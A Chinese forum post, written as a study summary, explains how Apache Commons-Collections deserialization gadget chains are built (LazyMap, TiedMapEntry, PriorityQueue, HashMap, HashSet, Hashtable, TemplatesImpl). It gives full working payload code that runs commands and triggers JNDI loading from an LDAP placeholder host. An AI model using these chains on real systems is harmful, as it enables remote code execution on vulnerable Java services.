T O P

[资源分享]     commons-collections利用链学习总结

  • By - 楼主

  • 2021-07-20 18:02:07
  • 整过Fastjson、Jackson和XML反序列化之后,感觉还需要对Commons-Collections链来个更清晰的认识,所以决定从ysoserial源码和CC链源码出发,复原整个链是如何构造出来的

    1 基础

    首先要说一个重要假设,如果某台服务器上,开了一个服务,接受java序列化字节码,并且使用ObjectInputStream.readObject方法进行反序列化,应该如何利用?

    • 直接写一个恶意java类,例如Test,并在其中写入命令执行的代码,序列化后传给服务器,可以在服务器上执行吗?当然不行!因为没有Test类,服务器上执行readObject的时候直接报错,找不到Test类
    • 必须用服务器上存在的类,怎么让它在readObject执行过程中触发呢?这里就是CC链的重要意义了,如果反序列化的类定义了readObject方法,服务器上执行ObjectInputStream.readObject时,会自动调用反序列化类中的readObject方法,更进一步的,如果反序列化类的readObject方法中执行了该类成员变量的某些方法,而这些成员变量是可控的,一个反序列化利用或许就出现了

    在readObject反序列化中有个重要利用链就是Commons-Collections组件的利用链,该组件是各种中间件必用的组件,所以可以利用的范围广泛!

    CC链(Commons-Collections)中非常重要的就是几个Transformer类、HashMap、HashSet、HashTable、LazyMap、TiedMapEntry、BadAttributeValueExpException、AnnotationInvocationHandler、Proxy.newProxyInstance,看着好像很多有点唬人,其实理解之后会发现都不是大问题,特别是看过这些类的源码之后,每个利用链就会很清晰。一个一个来:

    ConstantTransformer

    这个类的作用就是保存一个对象而已,创建实例时需要传入一个需要保存的对象,调用实例的transform即可获得其中的常量,没有多余的处理逻辑(推荐直接看源码)

    public O transform(final I input) {
            return iConstant;
        }
    

    InvokeTransformer

    这个类的主要功能就是执行某个对象的某个方法,直接上源码

    //构造函数
    public InvokerTransformer(final String methodName, final Class<?>[] paramTypes, final Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes != null ? paramTypes.clone() : null;
        iArgs = args != null ? args.clone() : null;
    }
    //功能函数
    public O transform(final Object input) {
        if (input == null) {
            return null;
        }
        try {
            final Class<?> cls = input.getClass();
            final Method method = cls.getMethod(iMethodName, iParamTypes);
            return (O) method.invoke(input, iArgs);
        }catch (...){...}
                
    
    • 构造函数要求传入方法名,方法需要参数类型,具体参数
    • 功能函数transform需要传入一个对象,然后执行构造函数中给定的方法

    其实这个类的功能就是反射执行一个类的特定方法而已

    ChainedTransformer

    这个类创建实例时,需要传入一个Transformer数组,该类的功能就是遍历执行Transformer数组的transform函数,并且将上一次的transform函数的执行结果作为下一次transform的输入,看源码

    public T transform(T object) {
            for (final Transformer<? super T, ? extends T> iTransformer : iTransformers) {
                object = iTransformer.transform(object);
            }
            return object;
        }
    

    其中的iTransformer就是创建时传入的Transformer数组。

    到这里,三个Transformer其实就可以连接起来了,先创建一个Transformer数组,用ConstantTransformer起手,传入一个对象,用InvokeTransformer一步一步调用函数,再将数组传入ChainedTransformer,调用其transform函数。

    举例,先定义一个Test类

    public static class Test{
        public String name;
    
        public Test setName(String name) {
            System.out.println("setName to " + name);
            this.name = name;
            return this;
        }
    
        public String getName(){
            System.out.println("getName " + this.name);
            return this.name;
        }
    }
    

    再写一个transformer数组,并传入ChainedTransformer,调用transform方法

    从例子不难理解,chainedTransformer调用过程和object.xxx().yyy().zzz()是一样的,只是需要用InvokerTransformer来完成。那Transformer数组就可以组合成任意想要执行的代码,例如

    Transformer[] transformer = {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{0, new Object[0]}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
    };
    
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
    chainedTransformer.transform(null);
    

    这个利用链等价于Runtime.class.getMethod("getRuntime", null).invoke(null, null).exec("calc")

    或者也可以用chainedTransformer链调用JdbcRowSetImple,恰好它还继承了Serializable,可以序列化,所以只需要设置一下dataSourceName属性再调用autoCommit即可触发JNDI注入,就不展开说明了,了解过fastjson漏洞就清楚了。代码如下

    String dataSource = "ldap://192.168.x.x:1389/exploit";
    JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
    
    Transformer[] transformer = {
        new ConstantTransformer(jdbcRowSet),
        new InvokerTransformer("setDataSourceName", new Class[]{String.class}, new Object[]{dataSource}),
        new ConstantTransformer(jdbcRowSet),
        new InvokerTransformer("setAutoCommit", new Class[]{boolean.class}, new Object[]{true})
    };
    
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
    

    LazyMap

    前面ChainedTransformer已经可以打通命令执行或者代码执行了,那么如何在readObject之后,执行到transform函数呢,先一步一步来。一般都不会有什么代码直接写个xxx.transform(null),所以需要进一步包装一下。恰好有个LazyMap,关键源代码如下

    //静态方法,创建LazyMap实例
    public static Map decorate(Map map, Transformer factory) {
            return new LazyMap(map, factory);
        }
    // 构造函数,将传入的Transformer设定为this.factory
    protected LazyMap(Map map, Transformer factory) {
            super(map);
            if (factory == null) {
                throw new IllegalArgumentException("Factory must not be null");
            }
            this.factory = factory;
        }
    // 重点方法,里面会调用到this.factory.transform()
    public Object get(Object key) {
            // create value for key if key is not currently in the map
            if (map.containsKey(key) == false) {
                Object value = factory.transform(key);
                map.put(key, value);
                return value;
            }
            return map.get(key);
        }
    

    简单看一下源代码就知道,如果传入的map是一个空的map,在get函数中就一定会指定factory.transform(key),而factory又是我们传入的chainedTransformr实例,所以调用了lazyMap.get,就会命令执行了。(补充:这个类定义了writeObject和readObject方法,所以可以实例化)

    HashMap<String, String> hashMap = new HashMap<>();
    LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chainedTransformer);
    lazyMap.get(123);
    

    TiedMapEntry

    其实LazyMap的get方法已经可以结合一些类的readObject方法实现调用链了,但是通过TiedMapEntry可以进一步扩展调用链,看几个关键源代码

    //构造函数,map可以传入lazyMap,key随便传一个字符串即可
    public TiedMapEntry(Map map, Object key) {
            super();
            this.map = map;
            this.key = key;
        }
    //重点在于map.get(key)=lazyMap.get(key)->chainedTransformer.transform()
    public Object getValue() {
            return map.get(key);
        }
    //equals方法,重点在于调用了getValue()->map.get(key)
    public boolean equals(Object obj) {
        if (obj == this) {
            return true;
        }
        if (obj instanceof Map.Entry == false) {
            return false;
        }
        Map.Entry other = (Map.Entry) obj;
        Object value = getValue();
        return
            (key == null ? other.getKey() == null : key.equals(other.getKey())) &&
            (value == null ? other.getValue() == null : value.equals(other.getValue()));
    }
    //hashCode方法,重点也是getValue()->map.get(key)
    public int hashCode() {
        Object value = getValue();
        return (getKey() == null ? 0 : getKey().hashCode()) ^
            (value == null ? 0 : value.hashCode()); 
    }
    //toString方法,getValue()->map.get(key)
    public String toString() {
            return getKey() + "=" + getValue();
        }
    

    这个类简直是宝藏啊!把一个单纯的get方法,直接扩展了4个方向,也就是说,找到某些类的readObject方法执行过程中,调用到了成员实例的getValue、equels、hashcode、toString方法,只要把成员是TiedMapEntry实例,就可以构成一个反序列化的链了。

    TransformingComparator

    这个类主要是把transform调用放在了compare函数中,相当于增加了一个利用链的方向,看看关键源代码

    //构造函数
    public TransformingComparator(final Transformer<? super I, ? extends O> transformer,
                                      final Comparator<O> decorated) {
            this.decorated = decorated;
            this.transformer = transformer;
        }
    // compare函数,无判断条件直接调用transform
    public int compare(final I obj1, final I obj2) {
            final O value1 = this.transformer.transform(obj1);
            final O value2 = this.transformer.transform(obj2);
            return this.decorated.compare(value1, value2);
        }
    

    这里利用链就比较简单了,很明显只要readObject过程中调用了实例的compare方法,就可以触发了。

    PriorityQueue

    这个类的核心在于readObject方法一路调用之后(readObject>heapify->siftDown->siftDownUsingComparator->comparator.compare(x, e)),执行到comparator.compare(e),其中e是该类队列中的变量,可以在序列化前放进去。

    到这里需要结合另一个类,TransformingComparator来食用,TransformingComparator的compare和构造方法如下

    // 构造方法
    public TransformingComparator(final Transformer<? super I, ? extends O> transformer) {
            this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
        }
    // compare方法
    public int compare(final I obj1, final I obj2) {
        final O value1 = this.transformer.transform(obj1);
        final O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }
    

    很明显构造方法传入一个tansformer对象即可,然后配合前面的调用链,执行到transform函数,所以这个类的整体调用链如下

    readObject>heapify->siftDown->siftDownUsingComparator->comparator.compare(x, e)->TransformingComparator.compare(e)->transformer.transform(e))
    

    实际上已经连接到Transformer了,用ChainedTransoformer或其它方法都可以实现RCE。到这里ysoserial的作者为了实现任意代码执行,使用了另一个类:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl下面展开一下这个类

    TemplatesImpl

    com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl是jdk自带的类,里面用到的核心方法如下

    // 核心方法1,newTransformer
    public synchronized Transformer newTransformer() throws TransformerConfigurationException
    {
        TransformerImpl transformer;
    
        transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
                                          _indentNumber, _tfactory);
    
        if (_uriResolver != null) {
            transformer.setURIResolver(_uriResolver);
        }
    
        if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
            transformer.setSecureProcessing(true);
        }
        return transformer;
    }
    

    这里代码看到getTransletInstance调用,跟进一下

    // 核心方法2 getTransletInstance
    private Translet getTransletInstance() throws TransformerConfigurationException {
        try {
            if (_name == null) return null;
    
            if (_class == null) defineTransletClasses();
    
            // The translet needs to keep a reference to all its auxiliary
            // class to prevent the GC from collecting them
            AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
            translet.postInitialization();
            translet.setTemplates(this);
            translet.setServicesMechnism(_useServicesMechanism);
            translet.setAllowedProtocols(_accessExternalStylesheet);
            if (_auxClasses != null) {
                translet.setAuxiliaryClasses(_auxClasses);
            }
    
            return translet;
        }
        catch (InstantiationException e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
        catch (IllegalAccessException e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }
    

    可以看到__class==null时,会执行defineTransletClasses(),而后__class[_transletIndex].newInstance(),在数组中取出一个类对象调用newInstance方法。也就是说最终会产生一个类对象。进一步跟进defineTransletClasses方法看看

    // 核心方法3,defineTransletClasses,根据字节码,创建类对象
    private void defineTransletClasses() throws TransformerConfigurationException {
    
        if (_bytecodes == null) { // 这里如果_bytecodes==null,程序直接报错,所以不能为null
            ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
            throw new TransformerConfigurationException(err.toString());
        }
    
        // 获取classLoader,用于后面加载类的字节码
        TransletClassLoader loader = (TransletClassLoader)  AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
                    return new TransletClassLoader(ObjectFactory.findClassLoader());
                }
            });
    
        try {
            // 创建常量
            final int classCount = _bytecodes.length;
            _class = new Class[classCount];
    
            if (classCount > 1) {
                _auxClasses = new Hashtable();
            }
    
            for (int i = 0; i < classCount; i++) {
                // 循环使用defineClass加载类字节码,返回类对象
                _class[i] = loader.defineClass(_bytecodes[i]);
                // 省略后的代码,后面基本不用看了,因为没有对__class数组产生影响,返回前面的getTransletInstance函数中          
            }
        }
        catch() { //异常处理,省略 }
    }
    

    返回到getTransletInstance,关键在于执行了__class[_transletIndex].newInstance()创建类对象,这一步就可以在自定义的恶意类静态代码块添加恶意代码了

    2 实现readObject方法的类及其利用链

    前面基础部分已经把命令执行或任意java代码执行串联到,只需要执行get、equals、hashCode、toString、compare、getValue方法了,现在来找一些实现了readObject方法,并且可以其过程中调用了内部实例的get、equals等方法,就可以构成一个反序列化利用链了。

    BadAttributeValueExpExceptionCC

    这里就不用ysoserial定义的Commons-Collections 1-7来称呼了,一点也不好记,用实现了readObject方法的类名+CC简称更容易记忆和感受一些。

    BadAttributeValueExpException实现了readObjcet方法,并且其中有个valObj.toString方法

    class BadAttributeValueExpException{
        private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
            ObjectInputStream.GetField gf = ois.readFields();
            Object valObj = gf.get("val", null);
    
            if (valObj == null) {
                val = null;
            } else if (valObj instanceof String) {
                val= valObj;
            } else if (System.getSecurityManager() == null
                    || valObj instanceof Long
                    || valObj instanceof Integer
                    || valObj instanceof Float
                    || valObj instanceof Double
                    || valObj instanceof Byte
                    || valObj instanceof Short
                    || valObj instanceof Boolean) {
                val = valObj.toString();
            } else { // the serialized object is from a version without JDK-8019292 fix
                val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
            }
        }
        // 构造函数
        public BadAttributeValueExpException (Object val) {
            this.val = val == null ? null : val.toString();
        }
    }
    

    这里是不是正好想到了前面的TiedMapEntry的toString方法!如果把valObj变成TiedMapEntry的实例,直接就从readObjct连到transform了。来看看上面的关键源代码,valObj就是val这个成员,再看看构造函数,this.val会被转换为val.toString,因此不能new BadAttributeValueExpException时传入TiedMapEntry,需要使用反射在创建BadAttributeValueExpException对象后修改其val成员变量:

    // 省略chainedTransformer创建的过程,直接从前面拿过来就可以了
    HashMap<String, String> hashMap = new HashMap<>();
    LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chainedTransformer);
    
    TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "xxxx");
    
    BadAttributeValueExpException expException = new BadAttributeValueExpException(null);
    try{
        // 反射修改val
        Field val = expException.getClass().getDeclaredField("val");
        val.setAccessible(true);
        val.set(expException, tiedMapEntry);
    }catch (Exception e){e.printStackTrace();}
    
    // 本地写文件验证
    ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("serialize.ser"));
    out.writeObject(expException);
    ObjectInputStream in = new ObjectInputStream(new FileInputStream("serialize.ser"));
    in.readObject();
    

    如果感觉写文件验证不够严谨,可以创建一个socket服务端,本地把序列化后的字节流传给socket服务端,服务端把接收的字节流直接readObject即可验证

    这里的利用链也比较清晰

    PriorityQueueCC

    ysoserial原生调用链如下

    readObject>heapify->siftDown->siftDownUsingComparator->comparator.compare(x, e)->
    	TransformingComparator.compare(e)->transformer.transform(e))->invokerTransformer.transform(e)->
    		TemplatesImpl.newTransform->TemplatesImpl.getTransletInstance->_class[_transletIndex].newInstance()
    

    看到调用链,结合前面提到的关键函数,这个链也就很好理解了,上代码

    // 需要反射的两个类
    String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
    String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
    
    // 这里需要借助javassist中的相关方法,动态创建类,动态添加类方法和静态代码块
    ClassPool classPool = ClassPool.getDefault();
    classPool.appendClassPath(AbstractTranslet);
    CtClass payload = classPool.makeClass("PriorityQueueCCC");
    payload.setSuperclass(classPool.get(AbstractTranslet));
    payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
    
    // 用来保存字节码
    byte[] bytes = payload.toBytecode();
    
    // 反射创建TemplatesImpl类实例
    Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
    // 反射修改其中的_bytecodes属性
    Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
    field.setAccessible(true);
    field.set(templatesImpl,new byte[][]{bytes});
    
    // 反射修改其中的_name属性
    Field field1=templatesImpl.getClass().getDeclaredField("_name");
    field1.setAccessible(true);
    field1.set(templatesImpl,"test");
    
    // 创建InvokerTransformer实例,并写好newTransfomer方法调用
    InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
    // 创建TransformingComparator实例,放在后面的PriorityQueue中
    TransformingComparator comparator=new TransformingComparator(transformer);
    PriorityQueue queue = new PriorityQueue(2);
    queue.add(1);
    queue.add(1);
    
    // 反射修改PriorityQueue中的comparator变量,反序列化后,会自动调用comparator.compare方法
    Field field2=queue.getClass().getDeclaredField("comparator");
    field2.setAccessible(true);
    field2.set(queue,comparator);
    
    // 修改PriorityQueue中的queue变量,因为反序列化后,queue中的对象会传入comparator.compare方法中,
    // 然后调用到templatesImpl.newTransform
    Field field3=queue.getClass().getDeclaredField("queue");
    field3.setAccessible(true);
    field3.set(queue,new Object[]{templatesImpl,templatesImpl});
    
    // 模拟序列化和反序列化
    ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
    outputStream.writeObject(queue);
    outputStream.close();
    
    ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
    inputStream.readObject();
    
    

    PriorityQueueCC2

    前面使用TemplatesImpl属实麻烦,直接把transformer处改成ChainedTransformer的实例即可,所以稍微改了一下PriorityQueueCC链

    String dataSource = "ldap://192.168.x.x:1389/exploit";
    JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
    
    Transformer[] transformer = {
        new ConstantTransformer(jdbcRowSet),
        new InvokerTransformer("setDataSourceName", new Class[]{String.class}, new Object[]{dataSource}),
        new ConstantTransformer(jdbcRowSet),
        new InvokerTransformer("setAutoCommit", new Class[]{boolean.class}, new Object[]{true})
    };
    
    
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
    TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
    
    PriorityQueue priorityQueue = new PriorityQueue(2);  
    priorityQueue.add(1);
    priorityQueue.add(2);
    
    // 反射修改comparator
    Field comparator = priorityQueue.getClass().getDeclaredField("comparator");
    comparator.setAccessible(true);
    comparator.set(priorityQueue, transformingComparator);
    
    // 模拟序列化和反序列化
    ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
    outputStream.writeObject(priorityQueue);
    outputStream.close();
    
    ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
    inputStream.readObject();
    

    HashMapCC

    HashMap实现了readObject方法,在反序列化后,会执行它的readObject方法,其方法中关键在于执行了hash(key)->key.hashCode()这个调用链,那很明显,跟前面的TiedMapEntry就可以接起来了。先看看HashMap中涉及到的核心方法

    private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
        // Read in the threshold (ignored), loadfactor, and any hidden stuff
        // 省略很多不相关代码,以及读取字节码中数据的代码
    	
        // 读取key和value,put到HashMap的mapping中
        // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }  
    }
    
    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }
    

    这里可以看到,最后putVal前执行了hash(key),跟进HashMap.hash(key),可以看到,直接调用了key.hashCode方法,如果把key设置为TiedMapEntry的实例,直接就把利用链构造出来了。所以,代码如下

    String dataSource = "ldap://192.168.x.x:1389/exploit";
    JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
    
    ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
    
    Transformer transformer[] = {
        new ConstantTransformer(jdbcRowSet),
        new InvokerTransformer("setDataSourceName", new Class[]{String.class}, new Object[]{dataSource}),
        new ConstantTransformer(jdbcRowSet),
        new InvokerTransformer("setAutoCommit", new Class[]{boolean.class}, new Object[]{true})
    };
    
    HashMap<String, String> hashMap = new HashMap<>();
    LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chainedTransformer);
    TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test");
    
    HashMap hashMap1 = new HashMap(1);
    // 由于是执行了key.hashCode(),所以要把tiedMapEntry作为key
    hashMap1.put(tiedMapEntry, "test");
    lazyMap.clear();
    
    // hashmap.put时本地触发exp链,map.put->map.hash->entry.hashcode->lazymap.get->transform
    // 由于创建hashmap后,会自动给lazyMap添加一个<key,value>,所以要remove掉这个键值对
    // 以保证lazyMap.get时,map.containsKey(key) == false,从而进入transform函数
    
    Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
    iTransformers.setAccessible(true);
    iTransformers.set(chainedTransformer, transformer);
    
    try{
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("serialize.ser"));
        out.writeObject(hashMap1);
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("serialize.ser"));
        in.readObject();
    }catch (Exception e){e.printStackTrace();}
    

    HashSetCC

    HashSet的readObject方法中,创建了HashMap,并用HashMap的实例put反序列化出来的对象

    private void readObject(java.io.ObjectInputStream s)    throws java.io.IOException, ClassNotFoundException {
        // 省略读取字节码的部分
        // Create backing HashMap  创建一个map对象,三元表达式结果会创建一个HashMap对象,而且LinkedHashMap继承自HashMap并且没有重写put方法
        map = (((HashSet<?>)this) instanceof LinkedHashSet ?
               new LinkedHashMap<E,Object>(capacity, loadFactor) :
               new HashMap<E,Object>(capacity, loadFactor));
    
        // Read in all elements in the proper order.  关键在于执行了map.put
        for (int i=0; i<size; i++) {
            @SuppressWarnings("unchecked")
            E e = (E) s.readObject();
            map.put(e, PRESENT);
        }
    }
    

    这个利用链和前面的HashMap利用链接上了,map.put(e, PRESENT)=HashMap.put(e, PRESENT)->HashMap.hash(e)->e.hashCode()

    所以只需要把tiedMapEntry放进HashSet即可完成利用链的构造

    String dataSource = "ldap://192.168.x.x:1389/exploit";
    JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
    
    ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
    
    Transformer transformer[] = {
        new ConstantTransformer(jdbcRowSet),
        new InvokerTransformer("setDataSourceName", new Class[]{String.class}, new Object[]{dataSource}),
        new ConstantTransformer(jdbcRowSet),
        new InvokerTransformer("setAutoCommit", new Class[]{boolean.class}, new Object[]{true})
    };
    
    //        chainedTransformer.transform(null);
    HashMap<String, String> hashMap = new HashMap<>();
    LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chainedTransformer);
    
    TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test");
    
    HashSet hashSet = new HashSet(1);
    hashSet.add(tiedMapEntry);
    lazyMap.remove("test");
    
    // 由于创建hashset后,会自动给lazyMap添加一个key-value,所以要remove掉这个键值对
    // 以保证lazyMap.get时,map.containsKey(key) == false,从而进入transform函数
    // 避免hashset.add时本地触发exp add->map.put->map.hash->entry.hashcode->lazymap.get->transform
    
    Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
    iTransformers.setAccessible(true);
    iTransformers.set(chainedTransformer, transformer);
    try{
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("serialize.ser"));
        out.writeObject(hashSet);
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("serialize.ser"));
        in.readObject();
    }catch (Exception e){e.printStackTrace();}
    

    HashTableCC

    先看看HashTable的readObject方法

    private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException
    {
        // 省略前面不相关代码
        // Read the number of elements and then all the key/value objects
        for (; elements > 0; elements--) {
            @SuppressWarnings("unchecked")
            K key = (K)s.readObject();  // 读取key
            @SuppressWarnings("unchecked")
            V value = (V)s.readObject();  // 读取value
            // synch could be eliminated for performance
            reconstitutionPut(table, key, value);  // 给内部table添加key-value
        }
    }
    

    跟进reconstitutionPut方法

    private void reconstitutionPut(Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException
    {
        if (value == null) {
            throw new java.io.StreamCorruptedException();
        }
        // Makes sure the key is not already in the hashtable.
        // This should not happen in deserialized version.
        int hash = key.hashCode();  // 注意这里
        int index = (hash & 0x7FFFFFFF) % tab.length;
        for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
            if ((e.hash == hash) && e.key.equals(key)) {  // 注意key.equals()
                throw new java.io.StreamCorruptedException();
            }
        }
        // Creates the new entry.
        @SuppressWarnings("unchecked")
        Entry<K,V> e = (Entry<K,V>)tab[index];
        tab[index] = new Entry<>(hash, key, value, e);
        count++;
    }
    

    很明显了,看到key.hashCode可以直接和TiedMapEntry链接起来;而key.equals也可以执行执行吗?

    先来看看HashTable->TiedMapEntry->LazyMap->ChainedTransformer的利用链

    String dataSource = "ldap://192.168.x.x:1389/exploit";
    JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
    
    ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
    
    Transformer transformer[] = {
        new ConstantTransformer(jdbcRowSet),
        new InvokerTransformer("setDataSourceName", new Class[]{String.class}, new Object[]{dataSource}),
        new ConstantTransformer(jdbcRowSet),
        new InvokerTransformer("setAutoCommit", new Class[]{boolean.class}, new Object[]{true})
    };
    // 创建lazyMap
    HashMap<String, String> hashMap = new HashMap<>();
    LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chainedTransformer);
    lazyMap.put("test", 1);
    
    TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test");
    
    Hashtable hashtable = new Hashtable(1);
    hashtable.put(tiedMapEntry, 1);
    lazyMap.remove("test");
    
    
    // 由于创建hashtable后,会自动给lazyMap添加一个key-value,所以要remove掉这个键值对
    // 以保证反序列化后,lazyMap.get时,map.containsKey(key) = false,从而进入transform函数
    
    Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
    iTransformers.setAccessible(true);
    iTransformers.set(chainedTransformer, transformer);
    
    // 本地写文件
    try{
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("serialize.ser"));
        out.writeObject(hashtable);
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("serialize.ser"));
        in.readObject();
    }catch (Exception e){e.printStackTrace();}
    

    这个链主要是在HashTable.reconstitutionPut中调用key.hashCode()方法,而这个key可以被设置为tiedMapEntry对象,所以就形成了HashTable->TiedMapEntry->..ChainedTransformer的利用链。

    HashTableCC2

    然后再来看看key.equals的触发点,这里需要对lazyMap进一步解析,特别是其内部的map。我们在创建lazyMap的时候,传入了一个HashMap,又由于LazyMap继承自AbstractMapDecorator,所以其map属性定义也是继承自AbstractMapDecorator。

    // 类的继承关系
    public class LazyMap extends AbstractMapDecorator implements Map, Serializable{
        // 创建lazyMap的方法
        public static Map decorate(Map map, Transformer factory) {
            return new LazyMap(map, factory);
        }
        
        // 构造函数
        protected LazyMap(Map map, Transformer factory) {
            super(map);  // 调用父类的构造方法
            if (factory == null) {
                throw new IllegalArgumentException("Factory must not be null");
            }
            this.factory = factory;
        }
        // super(map) 父类构造函数
        public AbstractMapDecorator(Map map) {
            if (map == null) {
                throw new IllegalArgumentException("Map must not be null");
            }
            this.map = map;  // 注意这里,this.map=传进来的map,也就是HashMap
        }
    }
    

    然后this.map=HashMap,所以看看HashMap的源码

    public class HashMap<K,V> extends AbstractMap<K,V> implements Map<K,V>, Cloneable, Serializable
    

    看到HashMap继承了AbstractMap,跟进看一下AbstractMap的源码,并且主要看一下equals方法!

    public boolean equals(Object o) {
        if (o == this)
            return true;
    
        if (!(o instanceof Map))
            return false;
        Map<?,?> m = (Map<?,?>) o;  // 这里转换了一下变量名 m = o
        if (m.size() != size())
            return false;
    
        try {
            Iterator<Entry<K,V>> i = entrySet().iterator();
            while (i.hasNext()) {
                Entry<K,V> e = i.next();
                K key = e.getKey();
                V value = e.getValue();
                if (value == null) {
                    if (!(m.get(key)==null && m.containsKey(key)))  // 执行了m.get() 
                        return false;
                } else {
                    if (!value.equals(m.get(key)))
                        return false;
                }
            }
        } catch () { //省略}
    
        return true;
    }
    

    到这里,如果m就是我们输入的lazyMap,结合前面提到过的lazyMap.get->transformer.transform,那直接就进入恶意代码环节了。所以先来个利用代码,再梳理一下利用链

    ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
    String dataSource = "ldap://192.168.x.x:1389/exploit";
    JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
    
    Transformer transformer[] = {
        new ConstantTransformer(jdbcRowSet),
        new InvokerTransformer("setDataSourceName", new Class[]{String.class}, new Object[]{dataSource}),
        new ConstantTransformer(jdbcRowSet),
        new InvokerTransformer("setAutoCommit", new Class[]{boolean.class}, new Object[]{true})
    };
    
    Map map1=new HashMap();
    Map map2=new HashMap();
    
    Map lazyMap1= LazyMap.decorate(map1,chainedTransformer);
    Map lazyMap2= LazyMap.decorate(map2,chainedTransformer);
    Field f = Class.forName("org.apache.commons.collections.map.AbstractMapDecorator").getDeclaredField("map");
    f.setAccessible(true);
    Object map = f.get(lazyMap1);
    System.out.println(map.getClass().getName());
    
    lazyMap1.put("yy",1);
    lazyMap2.put("zZ",1);
    
    Hashtable hashtable = new Hashtable();
    hashtable.put(lazyMap1, 1);
    hashtable.put(lazyMap2, 2);
    lazyMap2.remove("yy");
    
    //避免hashtable.put本地触发exp
    Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
    field.setAccessible(true);
    field.set(chainedTransformer, transformer);
    
    // 读写文件测试
    ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
    outputStream.writeObject(hashtable);
    outputStream.close();
    
    ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
    inputStream.readObject();
    

    反序列化的时候是这样触发的:

    HashTable.readObject()
        Hashtable.reconstitutionPut() 源码 ->	e.key.equals(key) 这里e.key是一个lazyMap,key也是lazyMap
    

    lazyMap本身没有实现equals方法,继承了AbstractMapDecorator,所以调用父类的equals方法

    AbstractMapDecorator.equals(key)  源码 -> return this.map.equals(key)
        HashMap.equals(key)
        	AbstractMap.equals(key)
        		m.get(xx) <=> lazyMap.get(xx)
    

    AbstractMapDecorator.equals源代码中,使用其实例中map成员的equals方法,即return this.map.equals(key)

    由于创建lazyMap时,传入的是一个HashMap,所以调用了HashMap.equals,而HashMap继承自AbstractMap,并且没有重写equals方法,所以实际上调用AbstractMap.equals(key)。
